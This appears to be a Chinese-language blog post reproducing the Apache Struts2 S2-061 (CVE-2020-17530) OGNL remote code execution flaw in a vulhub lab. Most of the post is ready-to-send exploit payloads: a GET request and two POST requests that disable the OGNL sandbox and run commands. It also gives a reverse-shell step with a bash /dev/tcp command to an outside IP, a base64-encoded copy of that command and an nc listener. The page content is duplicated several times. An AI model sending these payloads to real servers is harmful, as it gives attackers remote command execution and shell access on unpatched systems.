Apache Struts2-061(CVE-2020-17530)远程代码执行漏洞复现

Author： coco
发布时间：December 13, 2020
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Categories：漏洞复现

Apache Struts2-061（CVE-2020-17530）远程代码执行漏洞是s2-059漏洞的绕过，所以其漏洞原理与s2-59一样，Struts2 会对某些标签属性(比如 id，其他属性有待寻找) 的属性值进行二次表达式解析，因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时，用户再传入一个 %{payload} 即可造成OGNL表达式执行。

0x01 影响版本

Apache Struts 2.0.0 - 2.5.25

0x02 漏洞复现

靶场地址： https://github.com/vulhub/vulhub/tree/master/struts2/s2-061
靶机s2-61漏洞页面代码

1. 简单POC验证

http://127.0.0.1:8080/?id=%25%7b+%27test%27+%2b+(2000+%2b+20).toString()%7d

id值变为计算出传入值的结果

2.简单exp验证-get请求

http://127.0.0.1:8080/?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27whoami%27}).(%23res%3d%23exec.exec(%23cmd))}

执行whoami结果

3.exp验证-post请求-1

POST /index.action HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

whoami命令回显

4.exp验证-post请求-2

POST /index.action HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1345

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

whoami命令回显

5. 反弹shell

通过以下在线地址将bash反弹命令进行进行编码转换
http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.1.107/8888 0>&1
深度截图_选择区域_20201214011040.png
在监听端运行:nc -lvp 8888
然后再发送反弹shell命令到struts2上

POST /index.action HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1438

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA3Lzg4ODggIDA+JjE=}|{base64,-d}|{bash,-i}'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

服务器无应用层回显，但是会产生主动对监听端的TCP连接。

bash反弹shell流量
反弹shell监听端情况

0x03 漏洞检测思路

此次漏洞只是S2-059修复的一个绕过，并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中，但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点，但是如果没有使用这个依赖包，也还是没办法进行利用。

参考文档:
https://mp.weixin.qq.com/s/rcfXIBSpNtgCFua0yUK_ew
https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458
https://www.cnblogs.com/backlion/p/14122528.html

Last modification：December 13th, 2020 at 06:23 pm

Apache Struts2-061(CVE-2020-17530)远程代码执行漏洞复现

coco • 2020 年 12 月 13 日

0x01 影响版本

Apache Struts 2.0.0 - 2.5.25

0x02 漏洞复现

靶场地址： https://github.com/vulhub/vulhub/tree/master/struts2/s2-061
靶机s2-61漏洞页面代码

1. 简单POC验证

http://127.0.0.1:8080/?id=%25%7b+%27test%27+%2b+(2000+%2b+20).toString()%7d

id值变为计算出传入值的结果

2.简单exp验证-get请求

http://127.0.0.1:8080/?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27whoami%27}).(%23res%3d%23exec.exec(%23cmd))}

执行whoami结果

3.exp验证-post请求-1

POST /index.action HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

whoami命令回显

4.exp验证-post请求-2

POST /index.action HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1345

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

whoami命令回显

5. 反弹shell

POST /index.action HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1438

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA3Lzg4ODggIDA+JjE=}|{base64,-d}|{bash,-i}'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

服务器无应用层回显，但是会产生主动对监听端的TCP连接。

bash反弹shell流量
反弹shell监听端情况

0x03 漏洞检测思路

参考文档:
https://mp.weixin.qq.com/s/rcfXIBSpNtgCFua0yUK_ew
https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458
https://www.cnblogs.com/backlion/p/14122528.html

Apache Struts2-061(CVE-2020-17530)远程代码执行漏洞复现

0x01 影响版本

0x02 漏洞复现

1. 简单POC验证

2.简单exp验证-get请求

3.exp验证-post请求-1

4.exp验证-post请求-2

5. 反弹shell

0x03 漏洞检测思路

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Apache Struts2-061(CVE-2020-17530)远程代码执行漏洞复现

0x01 影响版本

0x02 漏洞复现

1. 简单POC验证

2.简单exp验证-get请求

3.exp验证-post请求-1

4.exp验证-post请求-2

5. 反弹shell

0x03 漏洞检测思路